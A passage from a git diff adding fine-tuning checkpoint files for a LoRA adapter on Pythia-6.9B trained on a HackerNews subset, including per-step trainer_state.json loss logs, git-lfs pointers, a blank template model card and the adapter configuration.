"eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 4.042088508605957, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.5963, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 3.0001718997955322, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8128297328948975, + "learning_rate": 8.888888888888888e-06, + "loss": 1.6552, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9951343536376953, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 600 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.8316431917056e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..215ac23315a8f425835cacfab2459b4854cd2411 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:beb0e776f0a5ec708718ece00ed7dad62b9fc2f7af3bef35e553579cefc0cf48 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..c5dfe637b211d9a4af93efacd4e5435e236abb59 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0f1a68ea0c78a1207666e78ac89654712efe81a3e05db5827c8d59ea2cef4e63 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..6a970899a5edc16268fdea83560e0495a3d06810 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fa5b53289977451ca52671d3897055616936322daf22f6e4246ff72a467aef1c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..9ae36545a6cbe48ac387e9a4edd1288050b062ff --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b0de73605756aa391aaa9ea36adcbd12bd865860a2561b0aaca0c704b25cfe02 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..fddd953bc2f4e4f00f4c826a1839302931eb7a3a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/trainer_state.json @@ -0,0 +1,948 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.133333333333333, + "eval_steps": 10, + "global_step": 610, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + 